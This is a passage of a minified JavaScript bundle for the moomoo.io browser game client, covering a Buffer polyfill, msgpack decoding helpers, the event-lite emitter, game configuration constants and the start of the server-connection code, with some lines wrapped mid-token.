for (var t = 0; t < e; t += 4)
g(this, t, t + 3),
g(this, t + 1, t + 2);
return this
}
,
c.prototype.swap64 = function() {
var e = this.length;
if (e % 8 != 0)
throw new RangeError("Buffer size must be a multiple of 64-
bits");
for (var t = 0; t < e; t += 8)
g(this, t, t + 7),
g(this, t + 1, t + 6),
g(this, t + 2, t + 5),
g(this, t + 3, t + 4);
return this
}
,
c.prototype.toString = function() {
var e = 0 | this.length;
return 0 === e ? "" : 0 === arguments.length ? I(this, 0, e) :
function(e, t, n) {
var i = !1;
if ((void 0 === t || t < 0) && (t = 0),
t > this.length)
return "";
if ((void 0 === n || n > this.length) && (n = this.length),
n <= 0)
return "";
if ((n >>>= 0) <= (t >>>= 0))
return "";
for (e || (e = "utf8"); ; )
switch (e) {
case "hex":
return P(this, t, n);
case "utf8":
case "utf-8":
return I(this, t, n);
case "ascii":
return M(this, t, n);
case "latin1":
case "binary":
return A(this, t, n);
case "base64":
return T(this, t, n);
case "ucs2":
case "ucs-2":
case "utf16le":
case "utf-16le":
return B(this, t, n);
default:
if (i)
throw new TypeError("Unknown encoding: " + e);
e = (e + "").toLowerCase(),
i = !0
}
}
.apply(this, arguments)
}
,
c.prototype.equals = function(e) {
if (!c.isBuffer(e))
throw new TypeError("Argument must be a Buffer");
return this === e || 0 === c.compare(this, e)
}
,
c.prototype.inspect = function() {
var e = ""
, n = t.INSPECT_MAX_BYTES;
return this.length > 0 && (e = this.toString("hex", 0, n).match(/.
{2}/g).join(" "),
this.length > n && (e += " ... ")),
"<Buffer " + e + ">"
}
,
c.prototype.compare = function(e, t, n, i, r) {
if (!c.isBuffer(e))
throw new TypeError("Argument must be a Buffer");
if (void 0 === t && (t = 0),
void 0 === n && (n = e ? e.length : 0),
void 0 === i && (i = 0),
void 0 === r && (r = this.length),
t < 0 || n > e.length || i < 0 || r > this.length)
throw new RangeError("out of range index");
if (i >= r && t >= n)
return 0;
if (i >= r)
return -1;
if (t >= n)
return 1;
if (this === e)
return 0;
for (var s = (r >>>= 0) - (i >>>= 0), a = (n >>>= 0) - (t >>>= 0), o
= Math.min(s, a), l = this.slice(i, r), h = e.slice(t, n), u = 0; u < o; ++u)
if (l[u] !== h[u]) {
s = l[u],
a = h[u];
break
}
return s < a ? -1 : a < s ? 1 : 0
}
,
c.prototype.includes = function(e, t, n) {
return -1 !== this.indexOf(e, t, n)
}
,
c.prototype.indexOf = function(e, t, n) {
return m(this, e, t, n, !0)
}
,
c.prototype.lastIndexOf = function(e, t, n) {
return m(this, e, t, n, !1)
}
,
c.prototype.write = function(e, t, n, i) {
if (void 0 === t)
i = "utf8",
n = this.length,
t = 0;
else if (void 0 === n && "string" == typeof t)
i = t,
n = this.length,
t = 0;
else {
if (!isFinite(t))
throw new Error("Buffer.write(string, encoding, offset[,
length]) is no longer supported");
t |= 0,
isFinite(n) ? (n |= 0,
void 0 === i && (i = "utf8")) : (i = n,
n = void 0)
}
var r = this.length - t;
if ((void 0 === n || n > r) && (n = r),
e.length > 0 && (n < 0 || t < 0) || t > this.length)
throw new RangeError("Attempt to write outside buffer bounds");
i || (i = "utf8");
for (var s = !1; ; )
switch (i) {
case "hex":
return k(this, e, t, n);
case "utf8":
case "utf-8":
return v(this, e, t, n);
case "ascii":
return w(this, e, t, n);
case "latin1":
case "binary":
return b(this, e, t, n);
case "base64":
return x(this, e, t, n);
case "ucs2":
case "ucs-2":
case "utf16le":
case "utf-16le":
return S(this, e, t, n);
default:
if (s)
throw new TypeError("Unknown encoding: " + i);
i = ("" + i).toLowerCase(),
s = !0
}
}
,
c.prototype.toJSON = function() {
return {
type: "Buffer",
data: Array.prototype.slice.call(this._arr || this, 0)
}
}
;
var E = 4096;
function M(e, t, n) {
var i = "";
n = Math.min(e.length, n);
for (var r = t; r < n; ++r)
i += String.fromCharCode(127 & e[r]);
return i
}
function A(e, t, n) {
var i = "";
n = Math.min(e.length, n);
for (var r = t; r < n; ++r)
i += String.fromCharCode(e[r]);
return i
}
function P(e, t, n) {
var i = e.length;
(!t || t < 0) && (t = 0),
(!n || n < 0 || n > i) && (n = i);
for (var r = "", s = t; s < n; ++s)
r += F(e[s]);
return r
}
function B(e, t, n) {
for (var i = e.slice(t, n), r = "", s = 0; s < i.length; s += 2)
r += String.fromCharCode(i[s] + 256 * i[s + 1]);
return r
}
function C(e, t, n) {
if (e % 1 != 0 || e < 0)
throw new RangeError("offset is not uint");
if (e + t > n)
throw new RangeError("Trying to access beyond buffer length")
}
function O(e, t, n, i, r, s) {
if (!c.isBuffer(e))
throw new TypeError('"buffer" argument must be a Buffer
instance');
if (t > r || t < s)
throw new RangeError('"value" argument is out of bounds');
if (n + i > e.length)
throw new RangeError("Index out of range")
}
function R(e, t, n, i) {
t < 0 && (t = 65535 + t + 1);
for (var r = 0, s = Math.min(e.length - n, 2); r < s; ++r)
e[n + r] = (t & 255 << 8 * (i ? r : 1 - r)) >>> 8 * (i ? r : 1 -
r)
}
function j(e, t, n, i) {
t < 0 && (t = 4294967295 + t + 1);
for (var r = 0, s = Math.min(e.length - n, 4); r < s; ++r)
e[n + r] = t >>> 8 * (i ? r : 3 - r) & 255
}
function _(e, t, n, i, r, s) {
if (n + i > e.length)
throw new RangeError("Index out of range");
if (n < 0)
throw new RangeError("Index out of range")
}
function U(e, t, n, i, s) {
return s || _(e, 0, n, 4),
r.write(e, t, n, i, 23, 4),
n + 4
}
function D(e, t, n, i, s) {
return s || _(e, 0, n, 8),
r.write(e, t, n, i, 52, 8),
n + 8
}
c.prototype.slice = function(e, t) {
var n, i = this.length;
if ((e = ~~e) < 0 ? (e += i) < 0 && (e = 0) : e > i && (e = i),
(t = void 0 === t ? i : ~~t) < 0 ? (t += i) < 0 && (t = 0) : t >
i && (t = i),
t < e && (t = e),
c.TYPED_ARRAY_SUPPORT)
(n = this.subarray(e, t)).__proto__ = c.prototype;
else {
var r = t - e;
n = new c(r,void 0);
for (var s = 0; s < r; ++s)
n[s] = this[s + e]
}
return n
}
,
c.prototype.readUIntLE = function(e, t, n) {
e |= 0,
t |= 0,
n || C(e, t, this.length);
for (var i = this[e], r = 1, s = 0; ++s < t && (r *= 256); )
i += this[e + s] * r;
return i
}
,
c.prototype.readUIntBE = function(e, t, n) {
e |= 0,
t |= 0,
n || C(e, t, this.length);
for (var i = this[e + --t], r = 1; t > 0 && (r *= 256); )
i += this[e + --t] * r;
return i
}
,
c.prototype.readUInt8 = function(e, t) {
return t || C(e, 1, this.length),
this[e]
}
,
c.prototype.readUInt16LE = function(e, t) {
return t || C(e, 2, this.length),
this[e] | this[e + 1] << 8
}
,
c.prototype.readUInt16BE = function(e, t) {
return t || C(e, 2, this.length),
this[e] << 8 | this[e + 1]
}
,
c.prototype.readUInt32LE = function(e, t) {
return t || C(e, 4, this.length),
(this[e] | this[e + 1] << 8 | this[e + 2] << 16) + 16777216 *
this[e + 3]
}
,
c.prototype.readUInt32BE = function(e, t) {
return t || C(e, 4, this.length),
16777216 * this[e] + (this[e + 1] << 16 | this[e + 2] << 8 |
this[e + 3])
}
,
c.prototype.readIntLE = function(e, t, n) {
e |= 0,
t |= 0,
n || C(e, t, this.length);
for (var i = this[e], r = 1, s = 0; ++s < t && (r *= 256); )
i += this[e + s] * r;
return i >= (r *= 128) && (i -= Math.pow(2, 8 * t)),
i
}
,
c.prototype.readIntBE = function(e, t, n) {
e |= 0,
t |= 0,
n || C(e, t, this.length);
for (var i = t, r = 1, s = this[e + --i]; i > 0 && (r *= 256); )
s += this[e + --i] * r;
return s >= (r *= 128) && (s -= Math.pow(2, 8 * t)),
s
}
,
c.prototype.readInt8 = function(e, t) {
return t || C(e, 1, this.length),
128 & this[e] ? -1 * (255 - this[e] + 1) : this[e]
}
,
c.prototype.readInt16LE = function(e, t) {
t || C(e, 2, this.length);
var n = this[e] | this[e + 1] << 8;
return 32768 & n ? 4294901760 | n : n
}
,
c.prototype.readInt16BE = function(e, t) {
t || C(e, 2, this.length);
var n = this[e + 1] | this[e] << 8;
return 32768 & n ? 4294901760 | n : n
}
,
c.prototype.readInt32LE = function(e, t) {
return t || C(e, 4, this.length),
this[e] | this[e + 1] << 8 | this[e + 2] << 16 | this[e + 3] <<
24
}
,
c.prototype.readInt32BE = function(e, t) {
return t || C(e, 4, this.length),
this[e] << 24 | this[e + 1] << 16 | this[e + 2] << 8 | this[e +
3]
}
,
c.prototype.readFloatLE = function(e, t) {
return t || C(e, 4, this.length),
r.read(this, e, !0, 23, 4)
}
,
c.prototype.readFloatBE = function(e, t) {
return t || C(e, 4, this.length),
r.read(this, e, !1, 23, 4)
}
,
c.prototype.readDoubleLE = function(e, t) {
return t || C(e, 8, this.length),
r.read(this, e, !0, 52, 8)
}
,
c.prototype.readDoubleBE = function(e, t) {
return t || C(e, 8, this.length),
r.read(this, e, !1, 52, 8)
}
,
c.prototype.writeUIntLE = function(e, t, n, i) {
e = +e,
t |= 0,
n |= 0,
i || O(this, e, t, n, Math.pow(2, 8 * n) - 1, 0);
var r = 1
, s = 0;
for (this[t] = 255 & e; ++s < n && (r *= 256); )
this[t + s] = e / r & 255;
return t + n
}
,
c.prototype.writeUIntBE = function(e, t, n, i) {
e = +e,
t |= 0,
n |= 0,
i || O(this, e, t, n, Math.pow(2, 8 * n) - 1, 0);
var r = n - 1
, s = 1;
for (this[t + r] = 255 & e; --r >= 0 && (s *= 256); )
this[t + r] = e / s & 255;
return t + n
}
,
c.prototype.writeUInt8 = function(e, t, n) {
return e = +e,
t |= 0,
n || O(this, e, t, 1, 255, 0),
c.TYPED_ARRAY_SUPPORT || (e = Math.floor(e)),
this[t] = 255 & e,
t + 1
}
,
c.prototype.writeUInt16LE = function(e, t, n) {
return e = +e,
t |= 0,
n || O(this, e, t, 2, 65535, 0),
c.TYPED_ARRAY_SUPPORT ? (this[t] = 255 & e,
this[t + 1] = e >>> 8) : R(this, e,
t, !0),
t + 2
}
,
c.prototype.writeUInt16BE = function(e, t, n) {
return e = +e,
t |= 0,
n || O(this, e, t, 2, 65535, 0),
c.TYPED_ARRAY_SUPPORT ? (this[t] = e >>> 8,
this[t + 1] = 255 & e) : R(this, e,
t, !1),
t + 2
}
,
c.prototype.writeUInt32LE = function(e, t, n) {
return e = +e,
t |= 0,
n || O(this, e, t, 4, 4294967295, 0),
c.TYPED_ARRAY_SUPPORT ? (this[t + 3] = e >>> 24,
this[t + 2] = e >>> 16,
this[t + 1] = e >>> 8,
this[t] = 255 & e) : j(this, e, t, !0),
t + 4
}
,
c.prototype.writeUInt32BE = function(e, t, n) {
return e = +e,
t |= 0,
n || O(this, e, t, 4, 4294967295, 0),
c.TYPED_ARRAY_SUPPORT ? (this[t] = e >>> 24,
this[t + 1] = e >>> 16,
this[t + 2] = e >>> 8,
this[t + 3] = 255 & e) : j(this, e,
t, !1),
t + 4
}
,
c.prototype.writeIntLE = function(e, t, n, i) {
if (e = +e,
t |= 0,
!i) {
var r = Math.pow(2, 8 * n - 1);
O(this, e, t, n, r - 1, -r)
}
var s = 0
, a = 1
, o = 0;
for (this[t] = 255 & e; ++s < n && (a *= 256); )
e < 0 && 0 === o && 0 !== this[t + s - 1] && (o = 1),
this[t + s] = (e / a >> 0) - o & 255;
return t + n
}
,
c.prototype.writeIntBE = function(e, t, n, i) {
if (e = +e,
t |= 0,
!i) {
var r = Math.pow(2, 8 * n - 1);
O(this, e, t, n, r - 1, -r)
}
var s = n - 1
, a = 1
, o = 0;
for (this[t + s] = 255 & e; --s >= 0 && (a *= 256); )
e < 0 && 0 === o && 0 !== this[t + s + 1] && (o = 1),
this[t + s] = (e / a >> 0) - o & 255;
return t + n
}
,
c.prototype.writeInt8 = function(e, t, n) {
return e = +e,
t |= 0,
n || O(this, e, t, 1, 127, -128),
c.TYPED_ARRAY_SUPPORT || (e = Math.floor(e)),
e < 0 && (e = 255 + e + 1),
this[t] = 255 & e,
t + 1
}
,
c.prototype.writeInt16LE = function(e, t, n) {
return e = +e,
t |= 0,
n || O(this, e, t, 2, 32767, -32768),
c.TYPED_ARRAY_SUPPORT ? (this[t] = 255 & e,
this[t + 1] = e >>> 8) : R(this, e,
t, !0),
t + 2
}
,
c.prototype.writeInt16BE = function(e, t, n) {
return e = +e,
t |= 0,
n || O(this, e, t, 2, 32767, -32768),
c.TYPED_ARRAY_SUPPORT ? (this[t] = e >>> 8,
this[t + 1] = 255 & e) : R(this, e,
t, !1),
t + 2
}
,
c.prototype.writeInt32LE = function(e, t, n) {
return e = +e,
t |= 0,
n || O(this, e, t, 4, 2147483647, -2147483648),
c.TYPED_ARRAY_SUPPORT ? (this[t] = 255 & e,
this[t + 1] = e >>> 8,
this[t + 2] = e >>> 16,
this[t + 3] = e >>> 24) : j(this, e, t,
!0),
t + 4
}
,
c.prototype.writeInt32BE = function(e, t, n) {
return e = +e,
t |= 0,
n || O(this, e, t, 4, 2147483647, -2147483648),
e < 0 && (e = 4294967295 + e + 1),
c.TYPED_ARRAY_SUPPORT ? (this[t] = e >>> 24,
this[t + 1] = e >>> 16,
this[t + 2] = e >>> 8,
this[t + 3] = 255 & e) : j(this, e,
t, !1),
t + 4
}
,
c.prototype.writeFloatLE = function(e, t, n) {
return U(this, e, t, !0, n)
}
,
c.prototype.writeFloatBE = function(e, t, n) {
return U(this, e, t, !1, n)
}
,
c.prototype.writeDoubleLE = function(e, t, n) {
return D(this, e, t, !0, n)
}
,
c.prototype.writeDoubleBE = function(e, t, n) {
return D(this, e, t, !1, n)
}
,
c.prototype.copy = function(e, t, n, i) {
if (n || (n = 0),
i || 0 === i || (i = this.length),
t >= e.length && (t = e.length),
t || (t = 0),
i > 0 && i < n && (i = n),
i === n)
return 0;
if (0 === e.length || 0 === this.length)
return 0;
if (t < 0)
throw new RangeError("targetStart out of bounds");
if (n < 0 || n >= this.length)
throw new RangeError("sourceStart out of bounds");
if (i < 0)
throw new RangeError("sourceEnd out of bounds");
i > this.length && (i = this.length),
e.length - t < i - n && (i = e.length - t + n);
var r, s = i - n;
if (this === e && n < t && t < i)
for (r = s - 1; r >= 0; --r)
e[r + t] = this[r + n];
else if (s < 1e3 || !c.TYPED_ARRAY_SUPPORT)
for (r = 0; r < s; ++r)
e[r + t] = this[r + n];
else
Uint8Array.prototype.set.call(e, this.subarray(n, n + s), t);
return s
}
,
c.prototype.fill = function(e, t, n, i) {
if ("string" == typeof e) {
if ("string" == typeof t ? (i = t,
t = 0,
n = this.length) : "string" ==
typeof n && (i = n,

n = this.length),
1 === e.length) {
var r = e.charCodeAt(0);
r < 256 && (e = r)
}
if (void 0 !== i && "string" != typeof i)
throw new TypeError("encoding must be a string");
if ("string" == typeof i && !c.isEncoding(i))
throw new TypeError("Unknown encoding: " + i)
} else
"number" == typeof e && (e &= 255);
if (t < 0 || this.length < t || this.length < n)
throw new RangeError("Out of range index");
if (n <= t)
return this;
var s;
if (t >>>= 0,
n = void 0 === n ? this.length : n >>> 0,
e || (e = 0),
"number" == typeof e)
for (s = t; s < n; ++s)
this[s] = e;
else {
var a = c.isBuffer(e) ? e : z(new c(e,i).toString())
, o = a.length;
for (s = 0; s < n - t; ++s)
this[s + t] = a[s % o]
}
return this
}
;
var L = /[^+\/0-9A-Za-z-_]/g;
function F(e) {
return e < 16 ? "0" + e.toString(16) : e.toString(16)
}
function z(e, t) {
var n;
t = t || 1 / 0;
for (var i = e.length, r = null, s = [], a = 0; a < i; ++a) {
if ((n = e.charCodeAt(a)) > 55295 && n < 57344) {
if (!r) {
if (n > 56319) {
(t -= 3) > -1 && s.push(239, 191, 189);
continue
}
if (a + 1 === i) {
(t -= 3) > -1 && s.push(239, 191, 189);
continue
}
r = n;
continue
}
if (n < 56320) {
(t -= 3) > -1 && s.push(239, 191, 189),
r = n;
continue
}
n = 65536 + (r - 55296 << 10 | n - 56320)
} else
r && (t -= 3) > -1 && s.push(239, 191, 189);
if (r = null,
n < 128) {
if ((t -= 1) < 0)
break;
s.push(n)
} else if (n < 2048) {
if ((t -= 2) < 0)
break;
s.push(n >> 6 | 192, 63 & n | 128)
} else if (n < 65536) {
if ((t -= 3) < 0)
break;
s.push(n >> 12 | 224, n >> 6 & 63 | 128, 63 & n | 128)
} else {
if (!(n < 1114112))
throw new Error("Invalid code point");
if ((t -= 4) < 0)
break;
s.push(n >> 18 | 240, n >> 12 & 63 | 128, n >> 6 & 63 | 128,
63 & n | 128)
}
}
return s
}
function H(e) {
return i.toByteArray(function(e) {
if ((e = function(e) {
return e.trim ? e.trim() : e.replace(/^\s+|\s+$/g, "")
}(e).replace(L, "")).length < 2)
return "";
for (; e.length % 4 != 0; )
e += "=";
return e
}(e))
}
function V(e, t, n, i) {
for (var r = 0; r < i && !(r + n >= t.length || r >= e.length); ++r)
t[r + n] = e[r];
return r
}
}
).call(this, n(12))
}
, function(e, t) {
var n;
n = function() {
return this
}();
try {
n = n || new Function("return this")()
} catch (e) {
"object" == typeof window && (n = window)
}
e.exports = n
}
, function(e, t) {
for (var n = t.uint8 = new Array(256), i = 0; i <= 255; i++)
n[i] = r(i);
function r(e) {
return function(t) {
var n = t.reserve(1);
t.buffer[n] = e
}
}
}
, function(e, t, n) {
t.FlexDecoder = s,
t.FlexEncoder = a;
var i = n(0)
, r = "BUFFER_SHORTAGE";
function s() {
if (!(this instanceof s))
return new s
}
function a() {
if (!(this instanceof a))
return new a
}
function o() {
throw new Error("method not implemented: write()")
}
function c() {
throw new Error("method not implemented: fetch()")
}
function l() {
return this.buffers && this.buffers.length ? (this.flush(),
this.pull()) :
this.fetch()
}
function h(e) {
(this.buffers || (this.buffers = [])).push(e)
}
function u() {
return (this.buffers || (this.buffers = [])).shift()
}
function f(e) {
return function(t) {
for (var n in e)
t[n] = e[n];
return t
}
}
s.mixin = f({
bufferish: i,
write: function(e) {
var t = this.offset ? i.prototype.slice.call(this.buffer,
this.offset) : this.buffer;
this.buffer = t ? e ? this.bufferish.concat([t, e]) : t : e,
this.offset = 0
},
fetch: c,
flush: function() {
for (; this.offset < this.buffer.length; ) {
var e, t = this.offset;
try {
e = this.fetch()
} catch (e) {
if (e && e.message != r)
throw e;
this.offset = t;
break
}
this.push(e)
}
},
push: h,
pull: u,
read: l,
reserve: function(e) {
var t = this.offset
, n = t + e;
if (n > this.buffer.length)
throw new Error(r);
return this.offset = n,
t
},
offset: 0
}),
s.mixin(s.prototype),
a.mixin = f({
bufferish: i,
write: o,
fetch: function() {
var e = this.start;
if (e < this.offset) {
var t = this.start = this.offset;
return i.prototype.slice.call(this.buffer, e, t)
}
},
flush: function() {
for (; this.start < this.offset; ) {
var e = this.fetch();
e && this.push(e)
}
},
push: h,
pull: function() {
var e = this.buffers || (this.buffers = [])
, t = e.length > 1 ? this.bufferish.concat(e) : e[0];
return e.length = 0,
t
},
read: l,
reserve: function(e) {
var t = 0 | e;
if (this.buffer) {
var n = this.buffer.length
, i = 0 | this.offset
, r = i + t;
if (r < n)
return this.offset = r,
i;
this.flush(),
e = Math.max(e, Math.min(2 * n, this.maxBufferSize))
}
return e = Math.max(e, this.minBufferSize),
this.buffer = this.bufferish.alloc(e),
this.start = 0,
this.offset = t,
0
},
send: function(e) {
var t = e.length;
if (t > this.minBufferSize)
this.flush(),
this.push(e);
else {
var n = this.reserve(t);
i.prototype.copy.call(e, this.buffer, n)
}
},
maxBufferSize: 65536,
minBufferSize: 2048,
offset: 0,
start: 0
}),
a.mixin(a.prototype)
}
, function(e, t, n) {
t.decode = function(e, t) {
var n = new i(t);
return n.write(e),
n.read()
}
;
var i = n(16).DecodeBuffer
}
, function(e, t, n) {
t.DecodeBuffer = r;
var i = n(8).preset;
function r(e) {
if (!(this instanceof r))
return new r(e);
if (e && (this.options = e,
e.codec)) {
var t = this.codec = e.codec;
t.bufferish && (this.bufferish = t.bufferish)
}
}
n(14).FlexDecoder.mixin(r.prototype),
r.prototype.codec = i,
r.prototype.fetch = function() {
return this.codec.decode(this)
}
}
, function(e, t, n) {
var i = n(4)
, r = n(7)
, s = r.Uint64BE
, a = r.Int64BE;
t.getReadFormat = function(e) {
var t = o.hasArrayBuffer && e && e.binarraybuffer
, n = e && e.int64;
return {
map: l && e && e.usemap ? u : h,
array: f,
str: d,
bin: t ? g : p,
ext: m,
uint8: y,
uint16: v,
uint32: b,
uint64: S(8, n ? E : T),
int8: k,
int16: w,
int32: x,
int64: S(8, n ? M : I),
float32: S(4, A),
float64: S(8, P)
}
}
,
t.readUint8 = y;
var o = n(0)
, c = n(6)
, l = "undefined" != typeof Map;
function h(e, t) {
var n, i = {}, r = new Array(t), s = new Array(t), a = e.codec.decode;
for (n = 0; n < t; n++)
r[n] = a(e),
s[n] = a(e);
for (n = 0; n < t; n++)
i[r[n]] = s[n];
return i
}
function u(e, t) {
var n, i = new Map, r = new Array(t), s = new Array(t), a =
e.codec.decode;
for (n = 0; n < t; n++)
r[n] = a(e),
s[n] = a(e);
for (n = 0; n < t; n++)
i.set(r[n], s[n]);
return i
}
function f(e, t) {
for (var n = new Array(t), i = e.codec.decode, r = 0; r < t; r++)
n[r] = i(e);
return n
}
function d(e, t) {
var n = e.reserve(t)
, i = n + t;
return c.toString.call(e.buffer, "utf-8", n, i)
}
function p(e, t) {
var n = e.reserve(t)
, i = n + t
, r = c.slice.call(e.buffer, n, i);
return o.from(r)
}
function g(e, t) {
var n = e.reserve(t)
, i = n + t
, r = c.slice.call(e.buffer, n, i);
return o.Uint8Array.from(r).buffer
}
function m(e, t) {
var n = e.reserve(t + 1)
, i = e.buffer[n++]
, r = n + t
, s = e.codec.getExtUnpacker(i);
if (!s)
throw new Error("Invalid ext type: " + (i ? "0x" + i.toString(16) :
i));
return s(c.slice.call(e.buffer, n, r))
}
function y(e) {
var t = e.reserve(1);
return e.buffer[t]
}
function k(e) {
var t = e.reserve(1)
, n = e.buffer[t];
return 128 & n ? n - 256 : n
}
function v(e) {
var t = e.reserve(2)
, n = e.buffer;
return n[t++] << 8 | n[t]
}
function w(e) {
var t = e.reserve(2)
, n = e.buffer
, i = n[t++] << 8 | n[t];
return 32768 & i ? i - 65536 : i
}
function b(e) {
var t = e.reserve(4)
, n = e.buffer;
return 16777216 * n[t++] + (n[t++] << 16) + (n[t++] << 8) + n[t]
}
function x(e) {
var t = e.reserve(4)
, n = e.buffer;
return n[t++] << 24 | n[t++] << 16 | n[t++] << 8 | n[t]
}
function S(e, t) {
return function(n) {
var i = n.reserve(e);
return t.call(n.buffer, i, !0)
}
}
function T(e) {
return new s(this,e).toNumber()
}
function I(e) {
return new a(this,e).toNumber()
}
function E(e) {
return new s(this,e)
}
function M(e) {
return new a(this,e)
}
function A(e) {
return i.read(this, e, !1, 23, 4)
}
function P(e) {
return i.read(this, e, !1, 52, 8)
}
}
, function(e, t, n) {
!function(t) {
e.exports = t;
var n = "listeners"
, i = {
on: function(e, t) {
return a(this, e).push(t),
this
},
once: function(e, t) {
var n = this;
return i.originalListener = t,
a(n, e).push(i),
n;
function i() {
s.call(n, e, i),
t.apply(this, arguments)
}
},
off: s,
emit: function(e, t) {
var n = this
, i = a(n, e, !0);
if (!i)
return !1;
var r = arguments.length;
if (1 === r)
i.forEach((function(e) {
e.call(n)
}
));
else if (2 === r)
i.forEach((function(e) {
e.call(n, t)
}
));
else {
var s = Array.prototype.slice.call(arguments, 1);
i.forEach((function(e) {
e.apply(n, s)
}
))
}
return !!i.length
}
};
function r(e) {
for (var t in i)
e[t] = i[t];
return e
}
function s(e, t) {
var i;
if (arguments.length) {
if (t) {
if (i = a(this, e, !0)) {
if (!(i = i.filter((function(e) {
return e !== t && e.originalListener !== t
}
))).length)
return s.call(this, e);
this[n][e] = i
}
} else if ((i = this[n]) && (delete i[e],
!Object.keys(i).length))
return s.call(this)
} else
delete this[n];
return this
}
function a(e, t, i) {
if (!i || e[n]) {
var r = e[n] || (e[n] = {});
return r[t] || (r[t] = [])
}
}
r(t.prototype),
t.mixin = r
}((/**
* event-lite.js - Light-weight EventEmitter (less than 1KB when gzipped)
*
* @copyright Yusuke Kawasaki
* @license MIT
* @constructor
* @see https://github.com/kawanet/event-lite
* @see http://kawanet.github.io/event-lite/EventLite.html
* @example
* var EventLite = require("event-lite");
*
* function MyClass() {...} // your class
*
* EventLite.mixin(MyClass.prototype); // import event methods
*
* var obj = new MyClass();
* obj.on("foo", function() {...}); // add event listener
* obj.once("bar", function() {...}); // add one-time event listener
* obj.emit("foo"); // dispatch event
* obj.emit("bar"); // dispatch another event
* obj.off("foo"); // remove event listener
*/
function e() {
if (!(this instanceof e))
return new e
}
))
}
, function(e, t, n) {
(function(t) {
e.exports.maxScreenWidth = 1920,
e.exports.maxScreenHeight = 1080,
e.exports.serverUpdateRate = 9,
e.exports.maxPlayers = t && -1 != t.argv.indexOf("--largeserver") ?
80 : 40,
e.exports.maxPlayersHard = e.exports.maxPlayers + 10,
e.exports.collisionDepth = 6,
e.exports.minimapRate = 3e3,
e.exports.colGrid = 10,
e.exports.clientSendRate = 5,
e.exports.healthBarWidth = 50,
e.exports.healthBarPad = 4.5,
e.exports.iconPadding = 15,
e.exports.iconPad = .9,
e.exports.deathFadeout = 3e3,
e.exports.crownIconScale = 60,
e.exports.crownPad = 35,
e.exports.chatCountdown = 3e3,
e.exports.chatCooldown = 500,
e.exports.inSandbox = t && "mm_exp" === t.env.VULTR_SCHEME,
e.exports.maxAge = 100,
e.exports.gatherAngle = Math.PI / 2.6,
e.exports.gatherWiggle = 10,
e.exports.hitReturnRatio = .25,
e.exports.hitAngle = Math.PI / 2,
e.exports.playerScale = 35,
e.exports.playerSpeed = .0016,
e.exports.playerDecel = .993,
e.exports.nameY = 34,
e.exports.skinColors = ["#bf8f54",],
e.exports.animalCount = 7,
e.exports.aiTurnRandom = .06,
e.exports.cowNames = ["Sid", "Steph", "Bmoe", "Romn",
"Jononthecool", "Fiona", "Vince", "Nathan", "Nick", "Flappy", "Ronald", "Otis",
"Pepe", "Mc Donald", "Theo", "Fabz", "Oliver", "Jeff", "Jimmy", "Helena", "Reaper",
"Ben", "Alan", "Naomi", "XYZ", "Clever", "Jeremy", "Mike", "Destined", "Stallion",
"Allison", "Meaty", "Sophia", "Vaja", "Joey", "Pendy", "Murdoch", "Theo", "Jared",
"July", "Sonia", "Mel", "Dexter", "Quinn", "Milky"],
e.exports.shieldAngle = Math.PI / 3,
e.exports.weaponVariants = [{
id: 0,
src: "",
xp: 0,
val: 1
}, {
id: 1,
src: "_g",
xp: 3e3,
val: 1.1
}, {
id: 2,
src: "_d",
xp: 7e3,
val: 1.18
}, {
id: 3,
src: "_r",
poison: !0,
xp: 12e3,
val: 1.18
}],
e.exports.fetchVariant = function(t) {
for (var n = t.weaponXP[t.weaponIndex] || 0, i =
e.exports.weaponVariants.length - 1; i >= 0; --i)
if (n >= e.exports.weaponVariants[i].xp)
return e.exports.weaponVariants[i]
}
,
e.exports.resourceTypes = ["wood", "food", "stone", "points"],
e.exports.areaCount = 7,
e.exports.treesPerArea = 9,
e.exports.bushesPerArea = 3,
e.exports.totalRocks = 32,
e.exports.goldOres = 7,
e.exports.riverWidth = 724,
e.exports.riverPadding = 114,
e.exports.waterCurrent = .0011,
e.exports.waveSpeed = 1e-4,
e.exports.waveMax = 1.3,
e.exports.treeScales = [150, 160, 165, 175],
e.exports.bushScales = [80, 85, 95],
e.exports.rockScales = [80, 85, 90],
e.exports.snowBiomeTop = 2400,
e.exports.snowSpeed = .75,
e.exports.maxNameLength = 15,
e.exports.mapScale = 14400,
e.exports.mapPingScale = 40,
e.exports.mapPingTime = 2200
}
).call(this, n(41))
}
, function(e, t) {
var n = {
utf8: {
stringToBytes: function(e) {
return n.bin.stringToBytes(unescape(encodeURIComponent(e)))
},
bytesToString: function(e) {
return decodeURIComponent(escape(n.bin.bytesToString(e)))
}
},
bin: {
stringToBytes: function(e) {
for (var t = [], n = 0; n < e.length; n++)
t.push(255 & e.charCodeAt(n));
return t
},
bytesToString: function(e) {
for (var t = [], n = 0; n < e.length; n++)
t.push(String.fromCharCode(e[n]));
return t.join("")
}
}
};
e.exports = n
}
, function(e, t, n) {
"use strict";
window.loadedScript = !0;
var i = "127.0.0.1" !== location.hostname && !
location.hostname.startsWith("192.168.");
n(22);
var r = n(23)
, s = n(42)
, a = n(43)
, o = n(19)
, c = n(44)
, l = n(45)
, h = (n(46),
n(47))
, u = n(48)
, f = n(55)
, d = n(56)
, p = n(57)
, g = n(58).obj
, m = new a.TextManager
, y = new (n(59))("moomoo.io",3e3,o.maxPlayers,5,!1);
y.debugLog = !1;
var k = !1;
function v() {
ht && ut && (k = !0,
i ?
window.grecaptcha.execute("6LevKusUAAAAAAFknhlV8sPtXAk5Z5dGP5T2FYIZ", {
action: "homepage"
}).then((function(e) {
w(e)
}
)) : w(null))
}
function w(e) {
y.start((function(t, n, a) {
var c = (i ? "wss" : "ws") + "://" + t + ":8008/?gameIndex=" + a;
e && (c += "&token=" + encodeURIComponent(e)),
r.connect(c, (function(e) {
Bi(),
setInterval(()=>Bi(), 2500),
e ? ft(e) : (ue.onclick = s.checkTrusted((function() {
!function() {
var e = ++bt > 1
, t = Date.now() - wt > vt;
e && t ? (wt = Date.now(),
xt()) : Tn()
}()
}
)),
s.hookTouchEvents(ue),
fe.onclick = s.checkTrusted((function() {
Oi("https://sploop.io")
}
)),
s.hookTouchEvents(fe),
pe.onclick = s.checkTrusted((function() {
setTimeout((function() {
!function() {
var e = xe.value
, t = prompt("party key", e);
t && (window.onbeforeunload = void 0,
window.location.href = "/?server=" + t)
}()
}
), 10)
}
)),
s.hookTouchEvents(pe),
ge.onclick = s.checkTrusted((function() {
Ae.classList.contains("showing") ?
(Ae.classList.remove("showing"),
me.innerText =
